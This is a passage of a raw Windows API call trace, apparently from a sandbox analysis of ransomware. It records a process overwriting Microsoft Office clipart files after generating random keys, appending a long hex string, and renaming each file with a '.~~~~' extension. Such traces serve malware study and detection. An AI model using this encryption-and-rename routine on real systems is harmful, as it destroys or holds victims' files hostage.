	[0097.563] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0097.563] GetLastError () returned 0x0
	[0097.563] GetLastError () returned 0x0
	[0097.580] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffdca8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.580] WriteFile (in: hFile=0x138, lpBuffer=0x292b060*, nNumberOfBytesToWrite=0x2358, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x292b060*, lpNumberOfBytesWritten=0x26dfec0*=0x2358, lpOverlapped=0x0) returned 1
	[0097.581] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x292b060 | out: hHeap=0x300000) returned 1
	[0097.581] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.581] WriteFile (in: hFile=0x138, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0097.581] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0097.581] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0097.581] CloseHandle (hObject=0x138) returned 1
	[0097.581] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0097.581] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107042.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107042.wmf.~~~~")) returned 1
	[0097.582] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.582] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0097.582] GetLastError () returned 0x0
	[0097.582] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0097.583] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0097.583] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0097.583] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0097.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0097.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0097.584] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21757378461) returned 1
	[0097.584] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa3dfa0f0, dwHighDateTime=0x1d60e1e)) 
	[0097.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0097.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0097.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0097.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2840f10
	[0097.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0097.584] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2840f10 | out: hHeap=0x300000) returned 1
	[0097.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0097.584] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0097.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0097.584] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0097.584] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x280c8d0
	[0097.584] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.584] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0097.585] GetLastError () returned 0x0
	[0097.585] GetLastError () returned 0x0
	[0097.585] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0097.585] GetLastError () returned 0x0
	[0097.585] GetLastError () returned 0x0
	[0097.595] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffff4304, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.595] WriteFile (in: hFile=0x138, lpBuffer=0x292b060*, nNumberOfBytesToWrite=0xbcfc, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x292b060*, lpNumberOfBytesWritten=0x26dfec0*=0xbcfc, lpOverlapped=0x0) returned 1
	[0097.595] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x292b060 | out: hHeap=0x300000) returned 1
	[0097.595] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.596] WriteFile (in: hFile=0x138, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0097.596] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0097.596] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0097.596] CloseHandle (hObject=0x138) returned 1
	[0097.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0097.596] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107132.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107132.wmf.~~~~")) returned 1
	[0097.619] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.619] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0097.619] GetLastError () returned 0x0
	[0097.620] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0097.621] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0097.621] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0097.621] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0097.621] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0097.621] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0097.621] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21761093818) returned 1
	[0097.621] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa3e6c510, dwHighDateTime=0x1d60e1e)) 
	[0097.621] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0097.621] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0097.621] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0097.621] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2840fb8
	[0097.621] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0097.621] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2840fb8 | out: hHeap=0x300000) returned 1
	[0097.621] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0097.621] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0097.621] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0097.621] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0097.621] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x280ca98
	[0097.622] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.622] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0097.622] GetLastError () returned 0x0
	[0097.622] GetLastError () returned 0x0
	[0097.622] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0097.622] GetLastError () returned 0x0
	[0097.622] GetLastError () returned 0x0
	[0097.653] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffc56c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.653] WriteFile (in: hFile=0x138, lpBuffer=0x292b060*, nNumberOfBytesToWrite=0x3a94, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x292b060*, lpNumberOfBytesWritten=0x26dfec0*=0x3a94, lpOverlapped=0x0) returned 1
	[0097.654] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x292b060 | out: hHeap=0x300000) returned 1
	[0097.654] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.654] WriteFile (in: hFile=0x138, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0097.654] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0097.654] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0097.654] CloseHandle (hObject=0x138) returned 1
	[0097.654] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0097.654] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107146.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107146.wmf.~~~~")) returned 1
	[0097.655] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.655] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0097.655] GetLastError () returned 0x0
	[0097.663] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0097.695] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0097.695] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0097.695] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0097.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0097.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0097.695] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21768517038) returned 1
	[0097.695] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa3f04a90, dwHighDateTime=0x1d60e1e)) 
	[0097.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0097.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0097.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0097.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28411e8
	[0097.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0097.695] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28411e8 | out: hHeap=0x300000) returned 1
	[0097.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0097.695] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0097.696] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0097.696] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0097.696] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x280d120
	[0097.696] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.696] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0097.696] GetLastError () returned 0x0
	[0097.696] GetLastError () returned 0x0
	[0097.696] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0097.696] GetLastError () returned 0x0
	[0097.696] GetLastError () returned 0x0
	[0097.720] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffff9eb4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.721] WriteFile (in: hFile=0x138, lpBuffer=0x292b060*, nNumberOfBytesToWrite=0x614c, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x292b060*, lpNumberOfBytesWritten=0x26dfec0*=0x614c, lpOverlapped=0x0) returned 1
	[0097.722] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x292b060 | out: hHeap=0x300000) returned 1
	[0097.722] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.722] WriteFile (in: hFile=0x138, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0097.722] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0097.722] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0097.722] CloseHandle (hObject=0x138) returned 1
	[0097.722] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0097.723] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107158.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107158.wmf.~~~~")) returned 1
	[0097.724] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.724] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0097.724] GetLastError () returned 0x0
	[0097.775] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0097.784] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0097.784] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0097.784] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0097.784] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0097.784] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0097.784] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21777426351) returned 1
	[0097.784] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa3fe92d0, dwHighDateTime=0x1d60e1e)) 
	[0097.784] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0097.784] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0097.784] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0097.784] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2841300
	[0097.784] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0097.784] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2841300 | out: hHeap=0x300000) returned 1
	[0097.784] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0097.784] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0097.785] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0097.785] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0097.785] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x280ce28
	[0097.785] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.785] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0097.785] GetLastError () returned 0x0
	[0097.785] GetLastError () returned 0x0
	[0097.785] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0097.785] GetLastError () returned 0x0
	[0097.785] GetLastError () returned 0x0
	[0097.827] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffeb68, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.827] WriteFile (in: hFile=0x120, lpBuffer=0x292b060*, nNumberOfBytesToWrite=0x1498, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x292b060*, lpNumberOfBytesWritten=0x26dfec0*=0x1498, lpOverlapped=0x0) returned 1
	[0097.828] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x292b060 | out: hHeap=0x300000) returned 1
	[0097.828] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.828] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0097.828] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0097.828] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0097.828] CloseHandle (hObject=0x120) returned 1
	[0097.828] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0097.829] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107264.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107264.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107264.wmf.~~~~")) returned 1
	[0097.838] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.838] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0097.838] GetLastError () returned 0x0
	[0097.839] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0097.840] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0097.840] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0097.840] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0097.840] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0097.840] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0097.840] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21783050704) returned 1
	[0097.840] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa4081850, dwHighDateTime=0x1d60e1e)) 
	[0097.840] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0097.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0097.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0097.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28413e0
	[0097.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0097.841] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28413e0 | out: hHeap=0x300000) returned 1
	[0097.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0097.841] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0097.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0097.841] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0097.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x280d380
	[0097.841] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
